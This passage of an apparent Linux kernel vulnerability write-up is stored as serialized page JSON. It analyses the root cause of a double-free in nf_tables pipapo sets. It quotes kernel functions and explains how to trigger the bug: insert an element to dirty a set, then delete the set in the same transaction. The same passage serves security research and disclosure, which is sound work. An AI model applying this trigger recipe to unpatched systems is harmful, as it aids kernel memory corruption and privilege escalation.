",{"type":24,"tag":135,"props":1186,"children":1188},{"className":1187},[],[1189],{"type":29,"value":555},{"type":29,"value":41},{"type":24,"tag":261,"props":1192,"children":1194},{"className":576,"code":1193,"language":578,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[1195],{"type":24,"tag":135,"props":1196,"children":1197},{"__ignoreMap":7},[1198,1239,1267,1296,1303,1338,1345,1368,1391,1398,1411],{"type":24,"tag":271,"props":1199,"children":1200},{"class":273,"line":274},[1201,1206,1211,1215,1219,1223,1227,1231,1235],{"type":24,"tag":271,"props":1202,"children":1203},{"style":278},[1204],{"type":29,"value":1205},"void",{"type":24,"tag":271,"props":1207,"children":1208},{"style":598},[1209],{"type":29,"value":1210}," nf_tables_set_elem_destroy",{"type":24,"tag":271,"props":1212,"children":1213},{"style":288},[1214],{"type":29,"value":606},{"type":24,"tag":271,"props":1216,"children":1217},{"style":278},[1218],{"type":29,"value":611},{"type":24,"tag":271,"props":1220,"children":1221},{"style":278},[1222],{"type":29,"value":616},{"type":24,"tag":271,"props":1224,"children":1225},{"style":288},[1226],{"type":29,"value":621},{"type":24,"tag":271,"props":1228,"children":1229},{"style":624},[1230],{"type":29,"value":627},{"type":24,"tag":271,"props":1232,"children":1233},{"style":630},[1234],{"type":29,"value":633},{"type":24,"tag":271,"props":1236,"children":1237},{"style":288},[1238],{"type":29,"value":638},{"type":24,"tag":271,"props":1240,"children":1241},{"class":273,"line":284},[1242,1247,1251,1255,1259,1263],{"type":24,"tag":271,"props":1243,"children":1244},{"style":278},[1245],{"type":29,"value":1246}," const",{"type":24,"tag":271,"props":1248,"children":1249},{"style":278},[1250],{"type":29,"value":616},{"type":24,"tag":271,"props":1252,"children":1253},{"style":288},[1254],{"type":29,"value":655},{"type":24,"tag":271,"props":1256,"children":1257},{"style":624},[1258],{"type":29,"value":627},{"type":24,"tag":271,"props":1260,"children":1261},{"style":630},[1262],{"type":29,"value":563},{"type":24,"tag":271,"props":1264,"children":1265},{"style":288},[1266],{"type":29,"value":638},{"type":24,"tag":271,"props":1268,"children":1269},{"class":273,"line":294},[1270,1274,1278,1283,1287,1292],{"type":24,"tag":271,"props":1271,"children":1272},{"style":278},[1273],{"type":29,"value":1246},{"type":24,"tag":271,"props":1275,"children":1276},{"style":278},[1277],{"type":29,"value":616},{"type":24,"tag":271,"props":1279,"children":1280},{"style":288},[1281],{"type":29,"value":1282}," nft_elem_priv ",{"type":24,"tag":271,"props":1284,"children":1285},{"style":624},[1286],{"type":29,"value":627},{"type":24,"tag":271,"props":1288,"children":1289},{"style":630},[1290],{"type":29,"value":1291},"elem_priv",{"type":24,"tag":271,"props":1293,"children":1294},{"style":288},[1295],{"type":29,"value":694},{"type":24,"tag":271,"props":1297,"children":1298},{"class":273,"line":303},[1299],{"type":24,"tag":271,"props":1300,"children":1301},{"style":288},[1302],{"type":29,"value":702},{"type":24,"tag":271,"props":1304,"children":1305},{"class":273,"line":312},[1306,1310,1315,1319,1324,1328,1333],{"type":24,"tag":271,"props":1307,"children":1308},{"style":278},[1309],{"type":29,"value":616},{"type":24,"tag":271,"props":1311,"children":1312},{"style":288},[1313],{"type":29,"value":1314}," nft_set_ext ",{"type":24,"tag":271,"props":1316,"children":1317},{"style":624},[1318],{"type":29,"value":627},{"type":24,"tag":271,"props":1320,"children":1321},{"style":288},[1322],{"type":29,"value":1323},"ext ",{"type":24,"tag":271,"props":1325,"children":1326},{"style":624},[1327],{"type":29,"value":762},{"type":24,"tag":271,"props":1329,"children":1330},{"style":598},[1331],{"type":29,"value":1332}," nft_set_elem_ext",{"type":24,"tag":271,"props":1334,"children":1335},{"style":288},[1336],{"type":29,"value":1337},"(set, elem_priv);\n",{"type":24,"tag":271,"props":1339,"children":1340},{"class":273,"line":321},[1341],{"type":24,"tag":271,"props":1342,"children":1343},{"emptyLinePlaceholder":16},[1344],{"type":29,"value":327},{"type":24,"tag":271,"props":1346,"children":1347},{"class":273,"line":330},[1348,1353,1358,1363],{"type":24,"tag":271,"props":1349,"children":1350},{"style":749},[1351],{"type":29,"value":1352}," if",{"type":24,"tag":271,"props":1354,"children":1355},{"style":288},[1356],{"type":29,"value":1357}," (",{"type":24,"tag":271,"props":1359,"children":1360},{"style":598},[1361],{"type":29,"value":1362},"nft_set_ext_exists",{"type":24,"tag":271,"props":1364,"children":1365},{"style":288},[1366],{"type":29,"value":1367},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":271,"props":1369,"children":1370},{"class":273,"line":339},[1371,1376,1381,1386],{"type":24,"tag":271,"props":1372,"children":1373},{"style":598},[1374],{"type":29,"value":1375}," nft_set_elem_expr_destroy",{"type":24,"tag":271,"props":1377,"children":1378},{"style":288},[1379],{"type":29,"value":1380},"(ctx, ",{"type":24,"tag":271,"props":1382,"children":1383},{"style":598},[1384],{"type":29,"value":1385},"nft_set_ext_expr",{"type":24,"tag":271,"props":1387,"children":1388},{"style":288},[1389],{"type":29,"value":1390},"(ext));\n",{"type":24,"tag":271,"props":1392,"children":1393},{"class":273,"line":347},[1394],{"type":24,"tag":271,"props":1395,"children":1396},{"emptyLinePlaceholder":16},[1397],{"type":29,"value":327},{"type":24,"tag":271,"props":1399,"children":1400},{"class":273,"line":356},[1401,1406],{"type":24,"tag":271,"props":1402,"children":1403},{"style":598},[1404],{"type":29,"value":1405}," kfree",{"type":24,"tag":271,"props":1407,"children":1408},{"style":288},[1409],{"type":29,"value":1410},"(elem_priv);\n",{"type":24,"tag":271,"props":1412,"children":1413},{"class":273,"line":365},[1414],{"type":24,"tag":271,"props":1415,"children":1416},{"style":288},[1417],{"type":29,"value":1171},{"type":24,"tag":25,"props":1419,"children":1420},{},[1421,1423,1429,1431,1436,1438,1443,1445,1450,1451,1456,1458,1463,1465,1470,1472,1477],{"type":29,"value":1422},"The ",{"type":24,"tag":135,"props":1424,"children":1426},{"className":1425},[],[1427],{"type":29,"value":1428},"nft_pipapo_match",{"type":29,"value":1430}," objects contain views of the ",{"type":24,"tag":135,"props":1432,"children":1434},{"className":1433},[],[1435],{"type":29,"value":555},{"type":29,"value":1437},"'s of a ",{"type":24,"tag":135,"props":1439,"children":1441},{"className":1440},[],[1442],{"type":29,"value":563},{"type":29,"value":1444},". The difference between the ",{"type":24,"tag":135,"props":1446,"children":1448},{"className":1447},[],[1449],{"type":29,"value":540},{"type":29,"value":518},{"type":24,"tag":135,"props":1452,"children":1454},{"className":1453},[],[1455],{"type":29,"value":524},{"type":29,"value":1457}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":135,"props":1459,"children":1461},{"className":1460},[],[1462],{"type":29,"value":555},{"type":29,"value":1464},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":135,"props":1466,"children":1468},{"className":1467},[],[1469],{"type":29,"value":555},{"type":29,"value":1471},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":135,"props":1473,"children":1475},{"className":1474},[],[1476],{"type":29,"value":540},{"type":29,"value":41},{"type":24,"tag":85,"props":1479,"children":1481},{"id":1480},"root-cause-analysis",[1482],{"type":29,"value":1483},"Root-cause analysis",{"type":24,"tag":25,"props":1485,"children":1486},{},[1487,1489,1495,1497,1502],{"type":29,"value":1488},"So ",{"type":24,"tag":135,"props":1490,"children":1492},{"className":1491},[],[1493],{"type":29,"value":1494},"nf_tables_set_elem_destroy",{"type":29,"value":1496}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":135,"props":1498,"children":1500},{"className":1499},[],[1501],{"type":29,"value":555},{"type":29,"value":1503},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":1505,"children":1506},{},[1507,1509,1514,1516,1521,1523,1528,1530,1535,1537,1542],{"type":29,"value":1508},"We should now try to understand how to reach that path with the ",{"type":24,"tag":135,"props":1510,"children":1512},{"className":1511},[],[1513],{"type":29,"value":516},{"type":29,"value":1515}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":135,"props":1517,"children":1519},{"className":1518},[],[1520],{"type":29,"value":555},{"type":29,"value":1522}," that becomes true whenever a change is made to the ",{"type":24,"tag":135,"props":1524,"children":1526},{"className":1525},[],[1527],{"type":29,"value":563},{"type":29,"value":1529}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":135,"props":1531,"children":1533},{"className":1532},[],[1534],{"type":29,"value":563},{"type":29,"value":1536}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":135,"props":1538,"children":1540},{"className":1539},[],[1541],{"type":29,"value":563},{"type":29,"value":1543}," dirty by inserting a new element.",{"type":24,"tag":261,"props":1545,"children":1547},{"className":576,"code":1546,"language":578,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[1548],{"type":24,"tag":135,"props":1549,"children":1550},{"__ignoreMap":7},[1551,1621,1651,1676,1683,1691,1722,1729],{"type":24,"tag":271,"props":1552,"children":1553},{"class":273,"line":274},[1554,1558,1562,1567,1571,1575,1579,1584,1588,1593,1597,1601,1605,1609,1613,1617],{"type":24,"tag":271,"props":1555,"children":1556},{"style":278},[1557],{"type":29,"value":590},{"type":24,"tag":271,"props":1559,"children":1560},{"style":278},[1561],{"type":29,"value":731},{"type":24,"tag":271,"props":1563,"children":1564},{"style":598},[1565],{"type":29,"value":1566}," nft_pipapo_insert",{"type":24,"tag":271,"props":1568,"children":1569},{"style":288},[1570],{"type":29,"value":606},{"type":24,"tag":271,"props":1572,"children":1573},{"style":278},[1574],{"type":29,"value":611},{"type":24,"tag":271,"props":1576,"children":1577},{"style":278},[1578],{"type":29,"value":616},{"type":24,"tag":271,"props":1580,"children":1581},{"style":288},[1582],{"type":29,"value":1583}," net ",{"type":24,"tag":271,"props":1585,"children":1586},{"style":624},[1587],{"type":29,"value":627},{"type":24,"tag":271,"props":1589,"children":1590},{"style":630},[1591],{"type":29,"value":1592},"net",{"type":24,"tag":271,"props":1594,"children":1595},{"style":288},[1596],{"type":29,"value":158},{"type":24,"tag":271,"props":1598,"children":1599},{"style":278},[1600],{"type":29,"value":611},{"type":24,"tag":271,"props":1602,"children":1603},{"style":278},[1604],{"type":29,"value":616},{"type":24,"tag":271,"props":1606,"children":1607},{"style":288},[1608],{"type":29,"value":655},{"type":24,"tag":271,"props":1610,"children":1611},{"style":624},[1612],{"type":29,"value":627},{"type":24,"tag":271,"props":1614,"children":1615},{"style":630},[1616],{"type":29,"value":563},{"type":24,"tag":271,"props":1618,"children":1619},{"style":288},[1620],{"type":29,"value":638},{"type":24,"tag":271,"props":1622,"children":1623},{"class":273,"line":284},[1624,1629,1633,1638,1642,1647],{"type":24,"tag":271,"props":1625,"children":1626},{"style":278},[1627],{"type":29,"value":1628}," const",{"type":24,"tag":271,"props":1630,"children":1631},{"style":278},[1632],{"type":29,"value":616},{"type":24,"tag":271,"props":1634,"children":1635},{"style":288},[1636],{"type":29,"value":1637}," nft_set_elem ",{"type":24,"tag":271,"props":1639,"children":1640},{"style":624},[1641],{"type":29,"value":627},{"type":24,"tag":271,"props":1643,"children":1644},{"style":630},[1645],{"type":29,"value":1646},"elem",{"type":24,"tag":271,"props":1648,"children":1649},{"style":288},[1650],{"type":29,"value":638},{"type":24,"tag":271,"props":1652,"children":1653},{"class":273,"line":294},[1654,1659,1663,1668,1672],{"type":24,"tag":271,"props":1655,"children":1656},{"style":278},[1657],{"type":29,"value":1658}," struct",{"type":24,"tag":271,"props":1660,"children":1661},{"style":288},[1662],{"type":29,"value":1282},{"type":24,"tag":271,"props":1664,"children":1665},{"style":624},[1666],{"type":29,"value":1667},"**",{"type":24,"tag":271,"props":1669,"children":1670},{"style":630},[1671],{"type":29,"value":1291},{"type":24,"tag":271,"props":1673,"children":1674},{"style":288},[1675],{"type":29,"value":694},{"type":24,"tag":271,"props":1677,"children":1678},{"class":273,"line":303},[1679],{"type":24,"tag":271,"props":1680,"children":1681},{"style":288},[1682],{"type":29,"value":702},{"type":24,"tag":271,"props":1684,"children":1685},{"class":273,"line":312},[1686],{"type":24,"tag":271,"props":1687,"children":1688},{"style":288},[1689],{"type":29,"value":1690},"[...]\n",{"type":24,"tag":271,"props":1692,"children":1693},{"class":273,"line":321},[1694,1699,1703,1708,1713,1718],{"type":24,"tag":271,"props":1695,"children":1696},{"style":630},[1697],{"type":29,"value":1698}," priv",{"type":24,"tag":271,"props":1700,"children":1701},{"style":288},[1702],{"type":29,"value":786},{"type":24,"tag":271,"props":1704,"children":1705},{"style":630},[1706],{"type":29,"value":1707},"dirty",{"type":24,"tag":271,"props":1709,"children":1710},{"style":624},[1711],{"type":29,"value":1712}," =",{"type":24,"tag":271,"props":1714,"children":1715},{"style":278},[1716],{"type":29,"value":1717}," true",{"type":24,"tag":271,"props":1719,"children":1720},{"style":288},[1721],{"type":29,"value":1069},{"type":24,"tag":271,"props":1723,"children":1724},{"class":273,"line":330},[1725],{"type":24,"tag":271,"props":1726,"children":1727},{"style":288},[1728],{"type":29,"value":1690},{"type":24,"tag":271,"props":1730,"children":1731},{"class":273,"line":339},[1732],{"type":24,"tag":271,"props":1733,"children":1734},{"style":288},[1735],{"type":29,"value":1171},{"type":24,"tag":25,"props":1737,"children":1738},{},[1739],{"type":29,"value":1740},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":261,"props":1742,"children":1744},{"className":576,"code":1743,"language":578,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[1745],{"type":24,"tag":135,"props":1746,"children":1747},{"__ignoreMap":7},[1748,1789,1796,1803,1835,1847,1854,1882,1889],{"type":24,"tag":271,"props":1749,"children":1750},{"class":273,"line":274},[1751,1755,1759,1764,1768,1773,1777,1781,1785],{"type":24,"tag":271,"props":1752,"children":1753},{"style":278},[1754],{"type":29,"value":590},{"type":24,"tag":271,"props":1756,"children":1757},{"style":278},[1758],{"type":29,"value":595},{"type":24,"tag":271,"props":1760,"children":1761},{"style":598},[1762],{"type":29,"value":1763}," nft_pipapo_commit",{"type":24,"tag":271,"props":1765,"children":1766},{"style":288},[1767],{"type":29,"value":606},{"type":24,"tag":271,"props":1769,"children":1770},{"style":278},[1771],{"type":29,"value":1772},"struct",{"type":24,"tag":271,"props":1774,"children":1775},{"style":288},[1776],{"type":29,"value":655},{"type":24,"tag":271,"props":1778,"children":1779},{"style":624},[1780],{"type":29,"value":627},{"type":24,"tag":271,"props":1782,"children":1783},{"style":630},[1784],{"type":29,"value":563},{"type":24,"tag":271,"props":1786,"children":1787},{"style":288},[1788],{"type":29,"value":694},{"type":24,"tag":271,"props":1790,"children":1791},{"class":273,"line":284},[1792],{"type":24,"tag":271,"props":1793,"children":1794},{"style":288},[1795],{"type":29,"value":702},{"type":24,"tag":271,"props":1797,"children":1798},{"class":273,"line":294},[1799],{"type":24,"tag":271,"props":1800,"children":1801},{"style":288},[1802],{"type":29,"value":1690},{"type":24,"tag":271,"props":1804,"children":1805},{"class":273,"line":303},[1806,1810,1814,1819,1823,1827,1831],{"type":24,"tag":271,"props":1807,"children":1808},{"style":749},[1809],{"type":29,"value":1352},{"type":24,"tag":271,"props":1811,"children":1812},{"style":288},[1813],{"type":29,"value":1357},{"type":24,"tag":271,"props":1815,"children":1816},{"style":624},[1817],{"type":29,"value":1818},"!",{"type":24,"tag":271,"props":1820,"children":1821},{"style":630},[1822],{"type":29,"value":1150},{"type":24,"tag":271,"props":1824,"children":1825},{"style":288},[1826],{"type":29,"value":786},{"type":24,"tag":271,"props":1828,"children":1829},{"style":630},[1830],{"type":29,"value":1707},{"type":24,"tag":271,"props":1832,"children":1833},{"style":288},[1834],{"type":29,"value":694},{"type":24,"tag":271,"props":1836,"children":1837},{"class":273,"line":312},[1838,1843],{"type":24,"tag":271,"props":1839,"children":1840},{"style":749},[1841],{"type":29,"value":1842}," return",{"type":24,"tag":271,"props":1844,"children":1845},{"style":288},[1846],{"type":29,"value":1069},{"type":24,"tag":271,"props":1848,"children":1849},{"class":273,"line":321},[1850],{"type":24,"tag":271,"props":1851,"children":1852},{"style":288},[1853],{"type":29,"value":1690},{"type":24,"tag":271,"props":1855,"children":1856},{"class":273,"line":330},[1857,1861,1865,1869,1873,1878],{"type":24,"tag":271,"props":1858,"children":1859},{"style":630},[1860],{"type":29,"value":1698},{"type":24,"tag":271,"props":1862,"children":1863},{"style":288},[1864],{"type":29,"value":786},{"type":24,"tag":271,"props":1866,"children":1867},{"style":630},[1868],{"type":29,"value":1707},{"type":24,"tag":271,"props":1870,"children":1871},{"style":624},[1872],{"type":29,"value":1712},{"type":24,"tag":271,"props":1874,"children":1875},{"style":278},[1876],{"type":29,"value":1877}," false",{"type":24,"tag":271,"props":1879,"children":1880},{"style":288},[1881],{"type":29,"value":1069},{"type":24,"tag":271,"props":1883,"children":1884},{"class":273,"line":339},[1885],{"type":24,"tag":271,"props":1886,"children":1887},{"style":288},[1888],{"type":29,"value":1690},{"type":24,"tag":271,"props":1890,"children":1891},{"class":273,"line":347},[1892],{"type":24,"tag":271,"props":1893,"children":1894},{"style":288},[1895],{"type":29,"value":1171},{"type":24,"tag":25,"props":1897,"children":1898},{},[1899,1901,1906,1908,1913,1915,1920,1922,1927,1929,1935,1937,1943,1945,1950],{"type":29,"value":1900},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":24,"tag":135,"props":1902,"children":1904},{"className":1903},[],[1905],{"type":29,"value":555},{"type":29,"value":1907}," in the ",{"type":24,"tag":135,"props":1909,"children":1911},{"className":1910},[],[1912],{"type":29,"value":563},{"type":29,"value":1914}," to make it dirty and then delete the ",{"type":24,"tag":135,"props":1916,"children":1918},{"className":1917},[],[1919],{"type":29,"value":563},{"type":29,"value":1921},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":24,"tag":135,"props":1923,"children":1925},{"className":1924},[],[1926],{"type":29,"value":563},{"type":29,"value":1928},"'s ",{"type":24,"tag":135,"props":1930,"children":1932},{"className":1931},[],[1933],{"type":29,"value":1934},"->commit()",{"type":29,"value":1936}," method is executed before its ",{"type":24,"tag":135,"props":1938,"children":1940},{"className":1939},[],[1941],{"type":29,"value":1942},"->destroy()",{"type":29,"value":1944}," method, then the ",{"type":24,"tag":135,"props":1946,"children":1948},{"className":1947},[],[1949],{"type":29,"value":1707},{"type":29,"value":1951}," flag will be unset, and we won't be able to trigger the double-free.",{"type":24,"tag":25,"props":1953,"children":1954},{},[1955],{"type":29,"value":1956},"Let's once again refer to the code and see how these methods are called.",{"type":24,"tag":261,"props":1958,"children":1960},{"className":576,"code":1959,"language":578,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[1961],{"type":24,"tag":135,"props":1962,"children":1963},{"__ignoreMap":7},[1964,2026,2033,2040,2048,2062,2098,2132,2174,2196,2208,2221,2228,2276,2318,2358,2371,2379,2386,2393,2400,2425,2432,2445,2452,2468],{"type":24,"tag":271,"props":1965,"children":1966},{"class":273,"line":274},[1967,1971,1975,1980,1984,1988,1992,1996,2000,2004,2008,2013,2017,2022],{"type":24,"tag":271,"props":1968,"children":1969},{"style":278},[1970],{"type":29,"value":590},{"type":24,"tag":271,"props":1972,"children":1973},{"style":278},[1974],{"type":29,"value":731},{"type":24,"tag":271,"props":1976,"children":1977},{"style":598},[1978],{"type":29,"value":1979}," nf_tables_commit",{"type":24,"tag":271,"props":1981,"children":1982},{"style":288},[1983],{"type":29,"value":606},{"type":24,"tag":271,"props":1985,"children":1986},{"style":278},[1987],{"type":29,"value":1772},{"type":24,"tag":271,"props":1989,"children":1990},{"style":288},[1991],{"type":29,"value":1583},{"type":24,"tag":271,"props":1993,"children":1994},{"style":624},[1995],{"type":29,"value":627},{"type":24,"tag":271,"props":1997,"children":1998},{"style":630},[1999],{"type":29,"value":1592},{"type":24,"tag":271,"props":2001,"children":2002},{"style":288},[2003],{"type":29,"value":158},{"type":24,"tag":271,"props":2005,"children":2006},{"style":278},[2007],{"type":29,"value":1772},{"type":24,"tag":271,"props":2009,"children":2010},{"style":288},[2011],{"type":29,"value":2012}," sk_buff ",{"type":24,"tag":271,"props":2014,"children":2015},{"style":624},[2016],{"type":29,"value":627},{"type":24,"tag":271,"props":2018,"children":2019},{"style":630},[2020],{"type":29,"value":2021},"skb",{"type":24,"tag":271,"props":2023,"children":2024},{"style":288},[2025],{"type":29,"value":694},{"type":24,"tag":271,"props":2027,"children":2028},{"class":273,"line":284},[2029],{"type":24,"tag":271,"props":2030,"children":2031},{"style":288},[2032],{"type":29,"value":702},{"type":24,"tag":271,"props":2034,"children":2035},{"class":273,"line":294},[2036],{"type":24,"tag":271,"props":2037,"children":2038},{"style":288},[2039],{"type":29,"value":1690},{"type":24,"tag":271,"props":2041,"children":2042},{"class":273,"line":303},[2043],{"type":24,"tag":271,"props":2044,"children":2045},{"style":288},[2046],{"type":29,"value":2047}," case NFT_MSG_DELSET:\n",{"type":24,"tag":271,"props":2049,"children":2050},{"class":273,"line":312},[2051,2056],{"type":24,"tag":271,"props":2052,"children":2053},{"style":288},[2054],{"type":29,"value":2055}," case NFT_MSG_DESTROYSET:",{"type":24,"tag":271,"props":2057,"children":2059},{"style":2058},"--shiki-default:#6A9955",[2060],{"type":29,"value":2061}," // [1]\n",{"type":24,"tag":271,"props":2063,"children":2064},{"class":273,"line":321},[2065,2070,2075,2080,2084,2088,2093],{"type":24,"tag":271,"props":2066,"children":2067},{"style":598},[2068],{"type":29,"value":2069}," nft_trans_set",{"type":24,"tag":271,"props":2071,"children":2072},{"style":288},[2073],{"type":29,"value":2074},"(trans)->",{"type":24,"tag":271,"props":2076,"children":2077},{"style":630},[2078],{"type":29,"value":2079},"dead",{"type":24,"tag":271,"props":2081,"children":2082},{"style":624},[2083],{"type":29,"value":1712},{"type":24,"tag":271,"props":2085,"children":2086},{"style":477},[2087],{"type":29,"value":824},{"type":24,"tag":271,"props":2089,"children":2090},{"style":288},[2091],{"type":29,"value":2092},";",{"type":24,"tag":271,"props":2094,"children":2095},{"style":2058},[2096],{"type":29,"value":2097}," // [2]\n",{"type":24,"tag":271,"props":2099,"children":2100},{"class":273,"line":330},[2101,2106,2110,2114,2119,2123,2128],{"type":24,"tag":271,"props":2102,"children":2103},{"style":598},[2104],{"type":29,"value":2105}," list_del_rcu",{"type":24,"tag":271,"props":2107,"children":2108},{"style":288},[2109],{"type":29,"value":606},{"type":24,"tag":271,"props":2111,"children":2112},{"style":624},[2113],{"type":29,"value":1137},{"type":24,"tag":271,"props":2115,"children":2116},{"style":598},[2117],{"type":29,"value":2118},"nft_trans_set",{"type":24,"tag":271,"props":2120,"children":2121},{"style":288},[2122],{"type":29,"value":2074},{"type":24,"tag":271,"props":2124,"children":2125},{"style":630},[2126],{"type":29,"value":2127},"list",{"type":24,"tag":271,"props":2129,"children":2130},{"style":288},[2131],{"type":29,"value":1155},{"type":24,"tag":271,"props":2133,"children":2134},{"class":273,"line":339},[2135,2140,2144,2148,2153,2157,2161,2165,2169],{"type":24,"tag":271,"props":2136,"children":2137},{"style":598},[2138],{"type":29,"value":2139}," nf_tables_set_notify",{"type":24,"tag":271,"props":2141,"children":2142},{"style":288},[2143],{"type":29,"value":606},{"type":24,"tag":271,"props":2145,"children":2146},{"style":624},[2147],{"type":29,"value":1137},{"type":24,"tag":271,"props":2149,"children":2150},{"style":630},[2151],{"type":29,"value":2152},"trans",{"type":24,"tag":271,"props":2154,"children":2155},{"style":288},[2156],{"type":29,"value":786},{"type":24,"tag":271,"props":2158,"children":2159},{"style":630},[2160],{"type":29,"value":633},{"type":24,"tag":271,"props":2162,"children":2163},{"style":288},[2164],{"type":29,"value":158},{"type":24,"tag":271,"props":2166,"children":2167},{"style":598},[2168],{"type":29,"value":2118},{"type":24,"tag":271,"props":2170,"children":2171},{"style":288},[2172],{"type":29,"value":2173},"(trans),\n",{"type":24,"tag":271,"props":2175,"children":2176},{"class":273,"line":347},[2177,2182,2186,2191],{"type":24,"tag":271,"props":2178,"children":2179},{"style":630},[2180],{"type":29,"value":2181}," trans",{"type":24,"tag":271,"props":2183,"children":2184},{"style":288},[2185],{"type":29,"value":786},{"type":24,"tag":271,"props":2187,"children":2188},{"style":630},[2189],{"type":29,"value":2190},"msg_type",{"type":24,"tag":271,"props":2192,"children":2193},{"style":288},[2194],{"type":29,"value":2195},", GFP_KERNEL);\n",{"type":24,"tag":271,"props":2197,"children":2198},{"class":273,"line":356},[2199,2204],{"type":24,"tag":271,"props":2200,"children":2201},{"style":749},[2202],{"type":29,"value":2203}," break",{"type":24,"tag":271,"props":2205,"children":2206},{"style":288},[2207],{"type":29,"value":1069},{"type":24,"tag":271,"props":2209,"children":2210},{"class":273,"line":365},[2211,2216],{"type":24,"tag":271,"props":2212,"children":2213},{"style":288},[2214],{"type":29,"value":2215}," case NFT_MSG_NEWSETELEM:",{"type":24,"tag":271,"props":2217,"children":2218},{"style":2058},[2219],{"type":29,"value":2220}," // [3]\n",{"type":24,"tag":271,"props":2222,"children":2223},{"class":273,"line":374},[2224],{"type":24,"tag":271,"props":2225,"children":2226},{"style":288},[2227],{"type":29,"value":1690},{"type":24,"tag":271,"props":2229,"children":2230},{"class":273,"line":384},[2231,2236,2240,2245,2249,2253,2257,2262,2266,2271],{"type":24,"tag":271,"props":2232,"children":2233},{"style":749},[2234],{"type":29,"value":2235}," if",{"type":24,"tag":271,"props":2237,"children":2238},{"style":288},[2239],{"type":29,"value":1357},{"type":24,"tag":271,"props":2241,"children":2242},{"style":630},[2243],{"type":29,"value":2244},"te",{"type":24,"tag":271,"props":2246,"children":2247},{"style":288},[2248],{"type":29,"value":786},{"type":24,"tag":271,"props":2250,"children":2251},{"style":630},[2252],{"type":29,"value":563},{"type":24,"tag":271,"props":2254,"children":2255},{"style":288},[2256],{"type":29,"value":786},{"type":24,"tag":271,"props":2258,"children":2259},{"style":630},[2260],{"type":29,"value":2261},"ops",{"type":24,"tag":271,"props":2263,"children":2264},{"style":288},[2265],{"type":29,"value":786},{"type":24,"tag":271,"props":2267,"children":2268},{"style":630},[2269],{"type":29,"value":2270},"commit",{"type":24,"tag":271,"props":2272,"children":2273},{"style":624},[2274],{"type":29,"value":2275}," &&\n",{"type":24,"tag":271,"props":2277,"children":2278},{"class":273,"line":393},[2279,2284,2288,2292,2296,2300,2304,2308,2313],{"type":24,"tag":271,"props":2280,"children":2281},{"style":598},[2282],{"type":29,"value":2283}," list_empty",{"type":24,"tag":271,"props":2285,"children":2286},{"style":288},[2287],{"type":29,"value":606},{"type":24,"tag":271,"props":2289,"children":2290},{"style":624},[2291],{"type":29,"value":1137},{"type":24,"tag":271,"props":2293,"children":2294},{"style":630},[2295],{"type":29,"value":2244},{"type":24,"tag":271,"props":2297,"children":2298},{"style":288},[2299],{"type":29,"value":786},{"type":24,"tag":271,"props":2301,"children":2302},{"style":630},[2303],{"type":29,"value":563},{"type":24,"tag":271,"props":2305,"children":2306},{"style":288},[2307],{"type":29,"value":786},{"type":24,"tag":271,"props":2309,"children":2310},{"style":630},[2311],{"type":29,"value":2312},"pending_update",{"type":24,"tag":271,"props":2314,"children":2315},{"style":288},[2316],{"type":29,"value":2317},")) {\n",{"type":24,"tag":271,"props":2319,"children":2320},{"class":273,"line":402},[2321,2326,2330,2334,2338,2342,2346,2350,2354],{"type":24,"tag":271,"props":2322,"children":2323},{"style":598},[2324],{"type":29,"value":2325}," list_add_tail",{"type":24,"tag":271,"props":2327,"children":2328},{"style":288},[2329],{"type":29,"value":606},{"type":24,"tag":271,"props":2331,"children":2332},{"style":624},[2333],{"type":29,"value":1137},{"type":24,"tag":271,"props":2335,"children":2336},{"style":630},[2337],{"type":29,"value":2244},{"type":24,"tag":271,"props":2339,"children":2340},{"style":288},[2341],{"type":29,"value":786},{"type":24,"tag":271,"props":2343,"children":2344},{"style":630},[2345],{"type":29,"value":563},{"type":24,"tag":271,"props":2347,"children":2348},{"style":288},[2349],{"type":29,"value":786},{"type":24,"tag":271,"props":2351,"children":2352},{"style":630},[2353],{"type":29,"value":2312},{"type":24,"tag":271,"props":2355,"children":2356},{"style":288},[2357],{"type":29,"value":638},{"type":24,"tag":271,"props":2359,"children":2360},{"class":273,"line":411},[2361,2366],{"type":24,"tag":271,"props":2362,"children":2363},{"style":624},[2364],{"type":29,"value":2365}," 